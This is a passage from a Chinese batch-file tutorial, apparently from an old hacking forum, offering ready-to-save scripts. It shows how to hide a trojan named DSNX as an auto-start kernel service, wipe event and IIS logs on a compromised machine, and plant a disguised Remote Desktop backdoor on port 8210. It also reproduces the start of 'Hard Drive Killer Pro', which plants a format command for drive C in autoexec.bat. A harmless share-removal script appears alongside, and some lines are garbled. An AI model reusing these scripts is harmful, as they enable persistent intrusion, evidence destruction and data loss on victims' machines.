samlpe1:如上面的那个例子,如想生成如下注册表文件

　　Windows Registry Editor Version 5.00

　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

　　"Invader"="Ex4rch"

　　"door"=hex:255

　　"Autodos"=dword:000000128

　　只需要这样：

　　@echo Windows Registry Editor Version 5.00>>Sample.reg

　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

　　@echo "Invader"="Ex4rch">>Sample.reg

　　@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

　　@echo "Autodos"=dword:02>>Sample.reg

　　samlpe2:

　　我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

　　@start windrv32.exe

　　@attrib +h +r windrv32.exe

　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

　　@echo "windsnx "=- >>patch.dll

　　@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe

　　@regedit /s patch.dll

　　@delete patch.dll

　　@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]

　　@REM 这样不是更安全^_^.

六.精彩实例放送。

　　1.删除win2k/xp系统默认共享的批处理

　　------------------------ cut here then save as .bat or .cmd file ---------------------------

　　@echo preparing to delete all the default shares.when ready pres any key.

　　@pause

　　@echo off

　　:Rem check parameters if null show usage.

　　if {%1}=={} goto :Usage

　　:Rem code start.

　　echo.

　　echo ------------------------------------------------------

　　echo.

　　echo Now deleting all the default shares.

　　echo.

　　net share %1$ /delete

　　net share %2$ /delete

　　net share %3$ /delete

　　net share %4$ /delete

　　net share %5$ /delete

　　net share %6$ /delete

　　net share %7$ /delete

　　net share %8$ /delete

　　net share %9$ /delete

　　net stop Server

　　net start Server

　　echo.

　　echo All the shares have been deleteed

　　echo.

　　echo ------------------------------------------------------

　　echo.

　　echo Now modify the registry to change the system default properties.

　　echo.

　　echo Now creating the registry file

　　echo Windows Registry Editor Version 5.00> c:\delshare.reg

　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg

　　echo "AutoShareWks"=dword:00000000>> c:\delshare.reg

　　echo "AutoShareServer"=dword:00000000>> c:\delshare.reg

　　echo Nowing using the registry file to chang the system default properties.

　　regedit /s c:\delshare.reg

　　echo Deleting the temprotarily files.

　　del c:\delshare.reg

　　goto :END
　:Usage

　　echo.

　　echo ------------------------------------------------------

　　echo.

　　echo ☆ A example for batch file ☆

　　echo ☆ [Use batch file to change the sysytem share properties.] ☆

　　echo.

　　echo Author：Ex4rch

　　echo Mail:Ex4rch@hotmail.com QQ:1672602

　　echo.

　　echo Error：Not enough parameters

　　echo.

　　echo ☆ Please enter the share disk you wanna delete ☆

　　echo.

　　echo For instance，to delete the default shares:

　　echo delshare c d e ipc admin print

　　echo.

　　echo If the disklable is not as C: D: E: ，Please chang it youself.

　　echo.

　　echo example：

　　echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：

　　echo delshare c d e x y z ipc admin print

　　echo.

　　echo *** you can delete nine shares once in a useing ***

　　echo.

　　echo ------------------------------------------------------

　　goto :EOF

　　:END

　　echo.

　　echo ------------------------------------------------------

　　echo.

　　echo OK,delshare.bat has deleted all the share you assigned.

　　echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

　　echo

　　echo.

　　echo ------------------------------------------------------

　　echo.

　　:EOF

　　echo end of the batch file

　　------------------------ cut here then save as .bat or .cmd file ---------------------------
　------------------------ cut here then save as .bat or .cmd file ---------------------------

　　下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。

　　@regedit /s patch.dll

　　@net stop w3svc

　　@net stop event log

　　@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

　　@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

　　@del c:\winnt\system32\config\*.event /f /q

　　@del c:\winnt\system32dtclog\*.* /f /q

　　@del c:\winnt\*.txt /f /q

　　@del c:\winnt\*.log /f /q

　　@net start w3svc

　　@net start event log

　　@rem [删除日志]

　　@net stop lanmanserver /y

　　@net stop Schedule /y

　　@net stop RemoteRegistry /y

　　@del patch.dll

　　@echo The server has been patched,Have fun.

　　@del patch.bat

　　@REM [禁止一些危险的服务。]

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll

　　@echo "PortNumber"=dword:00002010 >>patch.dll

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll

　　@echo "PortNumber"=dword:00002012 >>patch.dll

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

　　@echo "Start"=dword:00000002 >>patch.dll

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll

　　@echo "Start"=dword:00000002 >>patch.dll

　　@echo "ErrorControl"=dword:00000001 >>patch.dll

　　@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll

　　@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll

　　@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

　　@echo "ObjectName"="LocalSystem" >>patch.dll

　　@echo "Type"=dword:00000010 >>patch.dll

　　@echo "Description"="Keep record of the program and windows message。" >>patch.dll

　　@echo "DisplayName"="Microsoft EventLog" >>patch.dll

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll

　　@echo "Start"=dword:00000004 >>patch.dll

　　@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

　　@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]
3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）

　　------------------------ cut here then save as .bat or .cmd file ---------------------------

　　@echo off

　　rem This program is dedecated to a very special person that does not want to be named.

　　:start

　　cls

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . .

　　call attrib -r -h c:\autoexec.bat >nul

　　echo @echo off >c:\autoexec.bat

　　echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat

　　call attrib +r +h c:\autoexec.bat >nul

　　rem Drive checking and assigning the valid drives to the drive variable.

　　set drive=

　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

　　rem code insertion for Drive Checking takes place here.

　　rem drivechk.bat is the file name under the root directory.

　　rem As far as the drive detection and drive variable settings, dont worry about how it

　　rem works, its d\*amn to complicated for the average or even the expert batch programmer.

　　rem Except for Tom Lavedas.

　　echo @echo off >drivechk.bat

　　echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat

　　del {t}.bat

　　echo if errorlevel 1 goto enddc >>drivechk.bat

　　cls

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . .

　　rem When errorlevel is 1, then the above is not true, if 0, then its true.

　　rem Opposite of binary rules. If 0, it will elaps to the next command.

　　echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat

　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat

　　del {t}.bat

　　echo if errorlevel 1 goto enddc >>drivechk.bat

　　cls

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . .

　　rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

　　rem if errorlevel is 0, then it will elaps to the next command.

　　echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat

　　del {t}.bat

　　echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

　　cls

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . .

　　rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

　　rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.